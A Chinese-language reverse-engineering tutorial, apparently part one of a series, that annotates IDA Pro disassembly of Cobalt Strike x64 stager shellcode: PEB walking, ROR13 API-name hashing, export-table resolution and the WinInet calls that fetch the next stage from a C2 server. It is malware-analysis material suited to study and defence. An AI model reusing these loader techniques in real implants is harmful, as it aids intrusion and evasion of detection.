CS ShellCode分析(一)

Cobalt Strike 生成的 Shellcode 主要包括 Stager 和 Stageless 两种类型。

本篇文章主要分析 Cobalt Strike 生成的 Stager 类型的 Shellcode。

image-20260406175939567

Stager 指的是是分阶段传送 Payload。我们生成的 Stager Beacon 其实是一个很小程序,用于从服务器端下载我们真正的 Shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。

Stageless 则是完整的 Beacon,后续不需要再向服务器端请求 Shellcode。所以使用这种方法生成的 Beacon 会比 Stager 生成的体积要大。但是这种 Beacon 有助于逃避分析人员的溯源取证,因为如果开启了分阶段传送(Stager方式),任何人都能看到 Beacon 连接到你的 C2 服务器的 payload 下载请求,并能提取出 payload 的配置信息。在 Cobalt Strike 4.0 及以后的版本中,后渗透和横向移动绝大部分推荐使用 Stageless 类型的Beacon 。

image-20260406180122174

生成的 Raw 类型的 payload_x64.bin 的内容如下。

image-20260406180300046

我们使用 IDA Pro 加载这个 bin 文件进行分析。

image-20260406180854921 image-20260406181319029 image-20260406181411415 image-20260406181448782

可以看到,代码其实并没有想象那么庞大。简洁到只需要上面的 4 张截图就可以放得下。

但是,当你真正慢下来逐段去分析的时候,你就知道什么是短小精悍了。对于初学者来说可能分析起来十分吃力,原因就是你前期的知识储备不够,导致每看到一个代码片段就是一段要新学习的技术点。

如果你前期看过我写的二进制学习路线,然后学习了 Maldev Academy 的《Malware Development Course》基础模块,外加轩辕的编程宇宙公众号《从零开始学逆向》内容。那么静下心来慢慢分析 CS 的 Shellcode 是没有那么吃力的,甚至你还会有一些爽感。这里面用到了《Malware Development Course》中提到的 PE 文件解析、String Hash 技术、IAT 隐藏技术、HTTP 请求等很多概念知识。当然也可以在没有这些前置基础的情况下来分析学习,但建议了解了这部分内容之后再来详细分析,不然可能会有一种硬着头皮也看不懂的难受感。

废话不多扯,咱们直接开始进行分析。

先看第一张图的内容。可以看到这里 IDA 并没有识别出代码来,而是呈现了一堆数据(db,dq)。

image-20260406180854921

我们在 seg000 位置处,按键盘的 按键C 将其这些数据(seg000:0000000000000000 ~ seg000:0000000000000128)识别为 代码(Code)。

image-20260406183431567

识别后的内容如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000          segment byte public 'CODE' use64
seg000:0000000000000000                 assume cs:seg000
seg000:0000000000000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000    cld
seg000:0000000000000001    and     rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005    call    sub_D2
...
seg000:000000000000001D    mov     rdx, [rdx+20h]
seg000:0000000000000021
seg000:0000000000000021 loc_21:                                
seg000:0000000000000021    mov     rsi, [rdx+50h]
...
seg000:000000000000002D
seg000:000000000000002D loc_2D:                                
seg000:000000000000002D    xor     rax, rax
...
seg000:0000000000000035    sub     al, 20h ; ' '
seg000:0000000000000037
seg000:0000000000000037 loc_37:                                
seg000:0000000000000037    ror     r9d, 0Dh
...
seg000:000000000000006B    add     r8, rdx
seg000:000000000000006E
seg000:000000000000006E loc_6E:                                 
seg000:000000000000006E    jrcxz   loc_C6
...
seg000:000000000000007A    xor     r9, r9
seg000:000000000000007D
seg000:000000000000007D loc_7D:                                 
seg000:000000000000007D    xor     rax, rax
...
seg000:00000000000000C4    jmp     rax
seg000:00000000000000C6 ; ---------------------------------------------------------------------------
seg000:00000000000000C6
seg000:00000000000000C6 loc_C6:                                 
seg000:00000000000000C6    pop     rax
seg000:00000000000000C7
seg000:00000000000000C7 loc_C7:                                 
seg000:00000000000000C7                                         
seg000:00000000000000C7    pop     r9
...
seg000:00000000000000CD    jmp     loc_21
seg000:00000000000000D2
seg000:00000000000000D2 ; =============== S U B R O U T I N E =======================================
seg000:00000000000000D2
seg000:00000000000000D2
seg000:00000000000000D2 sub_D2          proc near               
seg000:00000000000000D2    pop     rbp
...
seg000:0000000000000107 sub_D2          endp
seg000:0000000000000107
seg000:0000000000000109
seg000:0000000000000109 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000109
seg000:0000000000000109
seg000:0000000000000109 sub_109         proc near               
seg000:0000000000000109    pop     rdx
...
seg000:0000000000000126 sub_109         endp
seg000:0000000000000126

上面的代码主要分为三部分。纯汇编指令部分(seg000:0000000000000000 ~ seg000:000000000000001D),loc_xxx 标记的汇编指令部分(seg000:0000000000000021 ~ seg000:00000000000000CD),sub_xxx 标记的汇编指令部分(seg000:00000000000000D2 ~ seg000:0000000000000126)。

(1)纯汇编指令部分

这是程序中真正占用空间并被 CPU 执行的二进制机器码的文字表达。它们负责具体的数据操作(如 mov 搬运、xor 异或)和逻辑运算,是构成程序的最小功能颗粒。

(2)loc_xxx 标记的汇编指令部分(loc_21、loc_2D、loc_37、loc_6E、loc_7D、loc_C6、loc_C7)

局部跳转标号,这是反汇编工具生成的地址索引,主要用于单一函数内部的逻辑流转。它通常标记了一个循环的起点或一个分支判断的目标点。在 CPU 眼中,它只是一个相对偏移地址,用来告诉程序:“如果条件满足,请跳到这里继续执行”。

(3)sub_xxx 标记的汇编指令部分(sub_D2、sub_109)

子程序/函数入口,这是标记独立功能模块的起始地址。与 loc_xxx 不同,sub_xxx 通常具有完整的生命周期(被 call 调用,以 ret 或跳转结束),代表了一段可以被重复利用的特定逻辑(例如:初始化网络、查找内存地址)。

正常情况的下的话,我们遵循从上到下的顺序进行分析即可,碰到跳转就跟进继续分析。

需注意 loc_xxx 标记并不直接控制程序的执行流,比如下方 loc_21 的标记,并不会让程序发生跳转。就正常按顺序往下走,分析完 seg000:000000000000001D 处的 mov 指令之后,继续往下分析 seg000:0000000000000021 处的 mov 指令即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
seg000:0000000000000000    cld
seg000:0000000000000001    and     rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005    call    sub_D2
seg000:000000000000000A    push    r9
...
seg000:0000000000000019    mov     rdx, [rdx+18h]
seg000:000000000000001D    mov     rdx, [rdx+20h]
seg000:0000000000000021
seg000:0000000000000021 loc_21:                                
seg000:0000000000000021    mov     rsi, [rdx+50h]
seg000:0000000000000025    movzx   rcx, word ptr [rdx+4Ah]
seg000:000000000000002A    xor     r9, r9

我们现在开始从头开始分析。

1
2
3
seg000:0000000000000000    cld
seg000:0000000000000001    and     rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005    call    sub_D2

cld 指令,全称 Clear Direction Flag,清除方向标志 DF。作用是使 DF = 0。让字符串指令按正向处理,也就是地址递增。常受影响的指令:lodsb(Load String Byte)、stosb(Store String Byte)、movsb(Move String Byte)、scasb(Scan String Byte)、cmpsb(Compare String Byte)。有 cld 时,这类指令通常表现为:si/esi/rsi 递增,di/edi/rdi 递增。

std 指令,全称 Set Direction Flag,设置方向标志 DF。作用是使 DF = 1,让字符串指令按反向处理,也就是地址递减。常受影响的指令:lodsb、stosb、movsb、scasb、cmpsb。有 std 时,这类指令通常表现为:si/esi/rsi 递减,di/edi/rdi 递减。

1
2
3
4
5
seg000:0000000000000000    cld    ; Clear Direction Flag,清除方向标志 DF,使 DF = 0
seg000:0000000000000001    and     rsp, 0FFFFFFFFFFFFFFF0h ; 栈对齐:将栈顶指针对齐到 16 字节,这是 x64 调用约定的硬性要求
seg000:0000000000000005    call    sub_D2   ; 调用 sub_D2 函数
seg000:0000000000000005                     ; call 指令会将返回地址(下一条指令)(0x0A地址)压入栈中,并跳转进 sub_D2 处执行。
seg000:000000000000000A    push    r9

跟进 sub_D2 函数处进行分析。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
; call sub_D2指令,会将返回地址(下一条指令)(0xA地址)(resolver解析器)压入栈中。
seg000:00000000000000D2     ; =============== S U B R O U T I N E =======================================   
seg000:00000000000000D2     
seg000:00000000000000D2
seg000:00000000000000D2 sub_D2          proc near
seg000:00000000000000D2    pop     rbp
seg000:00000000000000D3    push    0               ; 字符串结尾'\0'
seg000:00000000000000D5    mov     r14, 'teniniw'  ; 把 teniniw 这个字符串放到了R14中,这里由于是在栈上传递数据,所以其实是颠倒的 wininet 这个字符串(原 74656E696E6977h 处按 R 转字符串)
seg000:00000000000000DF    push    r14             ; 把拼接的字符串压栈。
seg000:00000000000000E1    mov     r14, rsp        ; 此时 r14 = 栈顶地址,也就是 "wininet" 这串字节的首地址。
seg000:00000000000000E4    mov     rcx, r14        ; rcx = &"wininet"[0]; rcx 现在不是“字符串本身”,而是指向字符串首字符的指针。
seg000:00000000000000E7    mov     r10d, 726774Ch  ; r10d 里放的是一个 32 位 函数名 hash,不是普通参数。
seg000:00000000000000ED    call    rbp             ; 跳转到 call sub_D2 指令的下一条指令处(0xA)(resolver解析器)执行。
                                                   ; 因为call指令,所以会同时压返回地址(0xEF)到栈上。
                                                   ; 如果 0xA 后续那段代码最后有 ret,那么它会弹出栈顶返回地址 0xEF,于是就回到 call rbp 指令下方的指令继续执行。
                                                   ; 目的是:构造执行 LoadLibraryA("wininet"),返回值(HMODULE wininet)
seg000:00000000000000EF    xor     rcx, rcx

跟进 call rbp,下一条指令处(0xA)(resolver解析器) 处进行分析。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000          segment byte public 'CODE' use64
seg000:0000000000000000                 assume cs:seg000
seg000:0000000000000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000    cld
seg000:0000000000000001    and     rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005    call    sub_D2
seg000:0000000000000005
# 跳转到这里继续执行(0xA)
seg000:000000000000000A    push    r9
seg000:000000000000000C    push    r8
seg000:000000000000000E    push    rdx
seg000:000000000000000F    push    rcx
seg000:0000000000000010    push    rsi             ; 一系列参数压栈。
seg000:0000000000000011    xor     rdx, rdx
seg000:0000000000000014    mov     rdx, gs:[rdx+60h] ; PEB
seg000:0000000000000019    mov     rdx, [rdx+18h]  ; PEB+0x18 => Ldr
seg000:000000000000001D    mov     rdx, [rdx+20h]  ; Ldr+0x20 => InMemoryOrderModuleList(模块在内存中的顺序)(进程装载的模块)(_LIST_ENTRY)(双向链表)
seg000:0000000000000021
seg000:0000000000000021 loc_21:                  
seg000:0000000000000021    mov     rsi, [rdx+50h]  ; InMemoryOrderModuleList->FullDllName.buffer(_UNICODE_STRING)。存储的就是Dll的全名(模块名),存入 rsi。
                                                   ; 可以通过这个名字确定当前遍历到的dll是不是自己想要的,默认第一个指向的就是自己这个程序。
seg000:0000000000000025    movzx   rcx, word ptr [rdx+4Ah] ; InMemoryOrderModuleList->FullDllName.MaximumLength(_UNICODE_STRING),存入rcx
seg000:000000000000002A    xor     r9, r9
seg000:000000000000002D
seg000:000000000000002D loc_2D:                                 
seg000:000000000000002D    xor     rax, rax
seg000:0000000000000030    lodsb                   ; lodsb(Load String Byte),加载字符串字节。从内存读取 1 字节到 AL。
                                                   ; 根据 DF 自动调整 SI/ESI/RSI递增还是递减读取。DF = 0:SI/ESI/RSI 递增,DF = 1:SI/ESI/RSI 递减。
                                                   ; 上面的 cld 指令,使 DF = 0,则正向处理 SI/ESI/RSI。
seg000:0000000000000031    cmp     al, 61h ; 'a'   ; 判断当前字符是否小于 'a'
seg000:0000000000000033    jl      short loc_37    ; jl(Jump if Less),如果“小于”(当前为大写字母)就跳转loc_37。
seg000:0000000000000035    sub     al, 20h ; ' '   ; AL = AL - 0x20,把小写字母转成大写字母,再继续到loc_37
seg000:0000000000000037
seg000:0000000000000037 loc_37:                                
seg000:0000000000000037    ror     r9d, 0Dh        ; rdx:当前遍历到的模块项(你前面注释里的 InMemoryOrderModuleList 当前节点)
                                                   ; r9d:当前模块名算出来的 Rot32 hash
                                                   ; rsi:刚才扫描模块名时用的指针
                                                   ; rcx:循环计数已经用完
                                                   ; rax/eax:最后一个字符参与哈希时的临时值
                                                   ; Rot32 String Hash算法。把 r9d 循环右移 0xD 位,也就是 13 位。
                                                   ; r9d = ROR32(r9d, 13); 可理解为:hash = ROR32(hash, 13);
                            
seg000:000000000000003B    add     r9d, eax        ; r9d = r9d + eax。把当前字符累加进哈希值。
                                                   ; 可理解为:hash += ch;
seg000:000000000000003E    loop    loc_2D          ; 继续处理下一个字符。rcx = rcx - 1,若不为 0 则跳到 loc_2D。
																									 ; loop 指令。常用于基于计数次数的循环。作用是计数寄存器 (cx/ecx/rcx) 减 1,若结果不为 0 则跳转。
																									 ; 先减 1,再判断是否为 0,不为 0 就跳到目标标签,为 0 就继续顺序执行下一条。
seg000:0000000000000040    push    rdx             ; 把“当前模块项地址”(InMemoryOrderModuleList)压栈保存,后面 rdx 会被改成别的东西,先留一份。
seg000:0000000000000041    push    r9              ; 把刚刚算出的“当前模块名hash值”(原r9d部分)保存到栈上。
seg000:0000000000000043    mov     rdx, [rdx+20h]  ; 分界线。前面 rdx:还是“当前模块节点”。
                                                   ; 这条执行后 rdx:变成“当前模块加载到内存后的基地址DllBase”,也就是从“模块链表项”切换到“模块本体(PE 的模块映像)”。
                                                   ; InMemoryOrderModuleList
                                                   ;    +0x000 InLoadOrderLinks : _LIST_ENTRY
                                                   ;    +0x010 InMemoryOrderLinks : _LIST_ENTRY  // rdx
                                                   ;    +0x020 InInitializationOrderLinks : _LIST_ENTRY
                                                   ;    +0x030 DllBase          : Ptr64 Void     // rdx+0x20
seg000:0000000000000047    mov     eax, [rdx+3Ch]  ; eax = NT Headers 偏移量;
                                                   ; rdx 现在是模块基址,0x3C 是 DOS 头里的 e_lfanew,那么 rdx+3C 就是相对模块基址的  NT Headers 偏移量。
seg000:000000000000004A    add     rax, rdx        ; 把上一步读到的相对偏移,变成真实内存地址。
                                                   ; rax 现在指向内存中该模块的 IMAGE_NT_HEADERS 位置。
seg000:000000000000004D    cmp     word ptr [rax+18h], 20Bh ; 检查 rax+18h(OptionalHeader.Magic)。如果 0x20B = PE32+,也就是 64 位 PE。
                                                   ; ROM 映像(0107h),32位普通可执行文件(010Bh),64位可执行文件(0x20B)。
                                                   ; 如果不是 0x20B(64位可执行文件),就跳到 loc_C7
seg000:0000000000000053    jnz     short loc_C7    ; 当前模块没找到目标导出函数时,恢复现场并切到下一个模块继续遍历。
                                                   ; 把当前模块对应的 hash 取回来。
seg000:0000000000000055    mov     eax, [rax+88h]  ; 读取当前模块的导出表相对偏移。
                                                   ; 如果是 0x20B(64位可执行文件),rax 还指向 IMAGE_NT_HEADERS,取出 Export Directory 的 RVA。
                                                   ; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
seg000:000000000000005B    test    rax, rax        ; 检查刚读出的导出表 RVA 是否为 0。如果为 0,说明这个模块没有导出表,就跳到 loc_C7
seg000:000000000000005E    jz      short loc_C7    ; 当前模块没找到目标导出函数时,恢复现场并切到下一个模块继续遍历。
                                                   ; 把当前模块对应的 hash 取回来。
seg000:0000000000000060    add     rax, rdx        ; 把导出表 RVA 转成真实地址。rax 这里指向 IMAGE_EXPORT_DIRECTORY
seg000:0000000000000063    push    rax             ; [rsp+8] 把导出表地址(rax的值)先保存到栈上。
                                                   ; 后面 rax 还会被继续拿来做别的事情,所以先把 IMAGE_EXPORT_DIRECTORY 的地址留一份
seg000:0000000000000064    mov     ecx, [rax+18h]  ; 读取 IMAGE_EXPORT_DIRECTORY.NumberOfNames。当前模块有多少个“导出函数名”。
                                                   ; 这里把它放进 ecx,通常后面会拿它做导出名遍历计数。
seg000:0000000000000067    mov     r8d, [rax+20h]  ; 读取 IMAGE_EXPORT_DIRECTORY.AddressOfNames,存入 r8d。“导出函数名“数组 AddressOfNames 的相对地址 VA 偏移,不是 RVA 真实地址。
seg000:000000000000006B    add     r8, rdx         ; 把 AddressOfNames 的 RVA 转成真实地址。
seg000:000000000000006E
seg000:000000000000006E loc_6E:                                 
seg000:000000000000006E    jrcxz   loc_C6          ; 如果当前“导出函数名”数量计数(rcx的值)已经到 0,说明当前模块的导出名已经遍历完了,就跳到 loc_C6
                                                   ; jrcxz(Jump if RCX is Zero),如果 RCX == 0,则跳转到目标地址。
seg000:0000000000000070    dec     rcx             ; rcx = rcx - 1,因为导出名字表是数组,这里按 从后往前 的方式遍历,所以先减 1,再取第 rcx 个名字。
seg000:0000000000000073    mov     esi, [r8+rcx*4] ; 从 AddressOfNames 数组里取出第 rcx 个元素。这个元素是 函数名字符串的 RVA,即当前“导出函数名的 RVA”
seg000:0000000000000077    add     rsi, rdx        ; 把函数名字符串的 RVA 转成真实地址 VA。
                                                   ; 因为 rdx 是模块基址,rsi = 当前导出函数名字符串地址。
seg000:000000000000007A    xor     r9, r9          ; 清空 r9,准备重新计算“当前函数名”的 hash
seg000:000000000000007D
seg000:000000000000007D loc_7D:                                 
seg000:000000000000007D    xor     rax, rax        ; loc_7D:对获得的函数名做 hash。
                                                   ; 清空 rax,这样后面 lodsb 只会改 al,同时让 ah = 0
seg000:0000000000000080    lodsb                   ; 从 [rsi] 读 1 字节到 al,然后因为前面有 cld,所以 rsi++
seg000:0000000000000081    ror     r9d, 0Dh        ; r9d 循环右移 13 位,函数名 hash 算法的一部分
seg000:0000000000000085    add     r9d, eax        ; 把当前字符值累加进 hash。
seg000:0000000000000088    cmp     al, ah          ; 判断当前字符是不是字符串结束符 \0。
                                                   ; 比较 al 和 ah,因为前面 xor rax, rax,所以此时 ah = 0。
seg000:000000000000008A    jnz     short loc_7D    ; 如果当前字符不是 0,继续回到 loc_7D,处理下一个字符。
                                                   ; loc_7D本质就是在遍历一个导出函数名,直到 \0,算出这个函数名的 ROR32 hash
seg000:000000000000008C    add     r9, [rsp+8]     ; [rsp+8] 里保存的是前面 push r9 压栈的 模块名 hash
seg000:0000000000000091    cmp     r9d, r10d       ; 比较“当前导出函数的组合 hash” 和 “目标 hash”。
                                                   ; 当前 r9 里是刚算完的 函数名 hash。r10d 是调用这个解析器(call sub_D2)前传进来的目标 API hash
seg000:0000000000000094    jnz     short loc_6E    ; 如果不相等吗,说明当前函数不是要找的 API,回到 loc_6E,继续检查下一个导出函数名。
seg000:0000000000000096    pop     rax             ; 命中后:把函数地址算出来。
                                                   ; pop rax,弹出之前保存的 [rsp+8] IMAGE_EXPORT_DIRECTORY 地址,恢复到 rax。
seg000:0000000000000097    mov     r8d, [rax+24h]  ; 取 AddressOfNameOrdinals 的 RVA。
seg000:000000000000009B    add     r8, rdx         ; 转成 AddressOfNameOrdinals 真实地址。r8 = ordinals 表地址
seg000:000000000000009E    mov     cx, [r8+rcx*2]  ; 根据刚才命中的“名字索引 rcx”,取出对应的 ordinal。
                                                 ; 名字表索引 -> 函数序号索引。
seg000:00000000000000A3    mov     r8d, [rax+1Ch]  ; 取 AddressOfFunctions 的 RVA。
seg000:00000000000000A7    add     r8, rdx         ; 转成 AddressOfFunctions 的 RVA。r8 = functions 表地址
seg000:00000000000000AA    mov     eax, [r8+rcx*4] ; 用刚才取出的 ordinal 作为索引,取出函数的 RVA
                                                   ; functions[数字序号索引]
seg000:00000000000000AE    add     rax, rdx        ; 把获取的函数 RVA 转成真实地址。
seg000:00000000000000B1    pop     r8
seg000:00000000000000B3    pop     r8              ; 这两个 pop 不是为了保留 r8,而是为了丢弃栈上的两个中间值:
                                                   ; 当前模块名 hash
                                                   ; 当前模块链表节点
seg000:00000000000000B5    pop     rsi
seg000:00000000000000B6    pop     rcx
seg000:00000000000000B7    pop     rdx
seg000:00000000000000B8    pop     r8
seg000:00000000000000BA    pop     r9              ; 恢复一开始在 0xA 压栈保存的寄存器。
                                                   ; 对应前面的:
                                                   ; push r9
                                                   ; push r8
                                                   ; push rdx
                                                   ; push rcx
                                                   ; push rsi
seg000:00000000000000BC    pop     r10             ; pop r10 这句非常关键。
                                                   ; 这里弹出来的不是普通参数,而是 sub_D2 函数进行 call rbp 时,call指令默认压入中的返回地址(0xEF)位置。
                                                   ; 也就是说,当前解析器执行完后,本来要返回的位置(sub_D2的0xEF处)。
seg000:00000000000000BE    sub     rsp, 20h        ; 标准做法:为 Windows x64 调用约定预留 shadow space
seg000:00000000000000C2    push    r10             ; 把 r10 刚保存的“返回地址”(sub_D2的0xEF处)压入栈。
                                                   ; 目的是,让后面的目标 API 执行完 ret 时,能直接返回到该处返回地址(sub_D2的0xEF处)执行。
seg000:00000000000000C4    jmp     rax             ; 跳到解析出的真实 API 地址。
                                                   ; 注意这里不是 call rax,而是 jmp rax。
                                                   ; 原因是:返回地址已经手工压栈了,不需要使用call指令,再额外触发压一次返回地址入栈了。
                                                   ; API 函数(LoadLibraryA)执行完成后,跳转到“返回地址”(sub_D2的0xEF处)继续执行。
seg000:00000000000000C6 ; ---------------------------------------------------------------------------
seg000:00000000000000C6
seg000:00000000000000C6 loc_C6:                           
seg000:00000000000000C6    pop     rax             ; 平衡栈
seg000:00000000000000C6                            ; 把之前 push rax 压进去的值弹出来。
seg000:00000000000000C6                            ; 回收/恢复之前保存的 IMAGE_EXPORT_DIRECTORY 地址。
seg000:00000000000000C7
seg000:00000000000000C7 loc_C7: 
seg000:00000000000000C7                                         
seg000:00000000000000C7    pop     r9              ; 当前模块没找到目标导出函数时,恢复现场并切到下一个模块继续遍历。
                                                   ; 把当前模块对应的 hash 取回来。
seg000:00000000000000C9    pop     rdx             ; 把当前 InMemoryOrderModuleList 节点地址取回来。
seg000:00000000000000CA    mov     rdx, [rdx]      ; 链表结构开头通常就是:
                                                   ;   Flink = 下一个节点
                                                   ;   Blink = 上一个节点
                                                   ; 所以,[rdx] 就是取当前链表节点中的下一个节点指针。沿着双向链表走到下一个模块。
seg000:00000000000000CD    jmp     loc_21          ; InMemoryOrderModuleList->FullDllName.buffer(_UNICODE_STRING)。存储的就是Dll的全名(模块名),存入 rsi。
                                                   ; 可以通过这个名字确定当前遍历到的dll是不是自己想要的,默认第一个指向的就是自己这个程序。
seg000:00000000000000D2

跟进 0xA(resolver解析器) 执行完成后的 “返回地址”(sub_D2的0xEF处)继续执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
seg000:00000000000000D2 ; =============== S U B R O U T I N E =======================================
seg000:00000000000000D2
seg000:00000000000000D2
seg000:00000000000000D2 sub_D2          proc near
seg000:00000000000000D2    pop     rbp
seg000:00000000000000D3    push    0               
seg000:00000000000000D5    mov     r14, 'teniniw'  
seg000:00000000000000DF    push    r14            
seg000:00000000000000E1    mov     r14, rsp        
seg000:00000000000000E4    mov     rcx, r14        
seg000:00000000000000E7    mov     r10d, 726774Ch  
seg000:00000000000000ED    call    rbp                  
; LoadLibraryA("wininet")执行完成

; 跳转到这里继续执行
seg000:00000000000000EF    xor     rcx, rcx
seg000:00000000000000F2    xor     rdx, rdx
seg000:00000000000000F5    xor     r8, r8
seg000:00000000000000F8    xor     r9, r9          ; rcx,rdx,r8,r9(寄存器传参顺序arg1,arg2,arg3,arg4)依次清零。
seg000:00000000000000FB    push    r8              ; 第一次 push r8(栈对齐占位作用):压入一个额外 8 字节的 0,占位,同时让 rsp 暂时失去 16 字节对齐。
seg000:00000000000000FD    push    r8              ; 第二次 push r8(真实第 5 个参数):直接只传该参数时,会导致栈偏移了 8 字节。
                                                   ; 所以需要上一条的 push r8 的压栈 8 字节,此时再 push 第 5 个参数,栈就 16 字节对齐了。
seg000:00000000000000FF    mov     r10d, 0A779563Ah ; r10d 里放的是一个 32 位 函数名 hash,不是普通参数。
seg000:0000000000000105    call    rbp             ; 跳转到call sub_D2指令的下一条指令处(0xA)(resolver解析器)执行。
                                                   ; 因为call指令,所以会同时压返回地址(0x107)到栈上。
                                                   ; 如果 0xA 后续那段代码最后有 ret,那么它会弹出栈顶返回地址 0x107,于是就回到 call rbp 指令下方的指令继续执行。
                                                   ; 目的是,构造执行:
                                                   ; InternetOpenA(
                                                   ;     NULL,   // lpszAgent
                                                   ;     0,      // dwAccessType
                                                   ;     NULL,   // lpszProxy
                                                   ;     NULL,   // lpszProxyBypass
                                                   ;     0       // dwFlags
                                                   ; )
seg000:0000000000000107    jmp     short loc_17C   ; 进入下一阶段(连接 C2 地址)
seg000:0000000000000107 sub_D2          endp
seg000:0000000000000107

这里提一下使用 WinInet 库构造 HTTP 请求时,涉及到的几个函数。

1
2
3
4
5
6
hInternet  = InternetOpenA(...);
hConnect   = InternetConnectA(...);
hRequest   = HttpOpenRequestA(hConnect, ...);
bool xxx   = HttpSendRequestA(hRequest, ...);
alloc_base = VirtualAlloc(...);
bool xxx   = InternetReadFile(hRequest, ...);

(1)InternetOpenA

作用:初始化 WinINet,会返回一个“会话句柄”。

返回值:hInternet

含义:相当于先把网络通信环境打开。

(2)InternetConnectA

作用:基于 hInternet,指定要连的服务器和端口。

返回值:hConnect

含义:相当于“准备和某个站点/主机通信”。

(3)HttpOpenRequestA

作用:基于 hConnect 创建一个 HTTP 请求对象

返回值:hRequest

含义:这一步只是把请求准备好,比如:请求路径、请求方法 GET/POST、flags、版本号等

(4)HttpSendRequestA

作用:真正把这个请求发出去

返回值:BOOL

含义:服务器这时才真正收到请求

(5)VirtualAlloc

作用:在进程地址空间中申请一块内存。

返回值:LPVOID,也就是新申请内存的首地址。

含义:相当于先准备一块缓冲区,后面把从网络收到的数据写进去。

(6)InternetReadFile

作用:从当前网络句柄中读取服务器返回的数据。

返回值:BOOL

含义:把响应内容一块一块读取并写入到本地缓冲区里。

关于上述几个函数完整定义,及传参,及解释。可去微软官方文档库查看。

跟进 short loc_17C,进入下一阶段(连接 C2 地址)继续执行。

1
2
3
4
seg000:000000000000017C ; ---------------------------------------------------------------------------
seg000:000000000000017C
seg000:000000000000017C loc_17C:                                
seg000:000000000000017C    jmp     loc_365

跟进 loc_365。默认情况下,IDA显示如下。

image-20260406201652483

这里最关键的是 call sub_109 指令,该指令会将返回地址(0x36A地址)(内嵌C2字符串地址)压入栈中,并跳转进入函数执行。

需注意的是,call传入的返回地址内容,并不是“用于控制流的返回地址”,而是后面构造 HTTP 请求函数时的一个参数内容,rdx = 指向内嵌数据(C2字符串)。

针对识别错的内容,我们需要先选中 按U 取消识别。

image-20260406202459482

再手动鼠标选择一直到 \0 的行,再 按A 设置字符串。

image-20260406202617333 image-20260406204841718

这里提一下 x86 与 x64 程序函数传参的情况。

(1)x86 传参:主要靠栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
func(a, b, c, d, e)
  
push e;
push d;
push c;
push b;
push a;

call func;

最终栈布局的效果:
[esp + 0x00] = return address
[esp + 0x04] = a  // hex(0x00+0x4) = 0x04
[esp + 0x08] = b  // hex(0x04+0x4) = 0x08
[esp + 0x0C] = c  // hex(0x08+0x4) = 0x0C
[esp + 0x10] = d  // hex(0x0C+0x4) = 0x10
[esp + 0x14] = e  // hex(0x10+0x4) = 0x14,e 需要最先压栈
调用约定 参数压栈顺序 栈清理方 this 指针/寄存器传参 是否支持可变参数 主要应用场景
__cdecl 右 -> 左 调用者 (Caller) C/C++ 默认,printf
__stdcall 右 -> 左 被调用者 (Callee) Win32 API 核心约定
__thiscall 右 -> 左 被调用者 ECX (MSVC) 或 栈底 (GCC) C++ 非静态成员函数
__fastcall 右 -> 左 被调用者 前两个参数走 ECX, EDX 性能要求极高的内部函数

注:thiscall 遇到可变参数时会自动转为调用者清栈。并不是 thiscall 本身能处理可变参数,而是当编译器发现你需要可变参数时,它会默默地把调用约定自动换成 cdecl

(2)x64 传参:靠寄存器(依次rcx,rdx,r8,r9)和栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
func(a, b, c, d, e, f, g, h)
  
mov rcx, a;
mov rdx, b;
mov r8, c;
mov r9, d;
push h;  // 从右往左压栈,先压入最底下的参数
push g;  // 继续压入,倒数第二个参数
push f;  // 继续压入,倒数第三个参数
push e;  // 继续压入,倒数第四个参数

call func;

最终,寄存器+栈布局的效果:
rcx = a;
rdx = b;
r8 = c;
r9 = d;
// [rsp + 8] 到 [rsp + 20h]	给 RCX, RDX, R8, R9 预留的“影子空间”。
[rsp + 0x00] = return address  
[rsp + 0x08] = shadow for rcx  // hex(0x00+0x8) = 0x08
[rsp + 0x10] = shadow for rdx  // hex(0x08+0x8) = 0x10
[rsp + 0x18] = shadow for r8   // hex(0x10+0x8) = 0x18
[rsp + 0x20] = shadow for r9   // hex(0x18+0x8) = 0x20
[rsp + 0x28] = e;  // hex(0x20+0x8) = 0x28
[rsp + 0x30] = f;  // hex(0x28+0x8) = 0x30
[rsp + 0x38] = g;  // hex(0x30+0x8) = 0x38
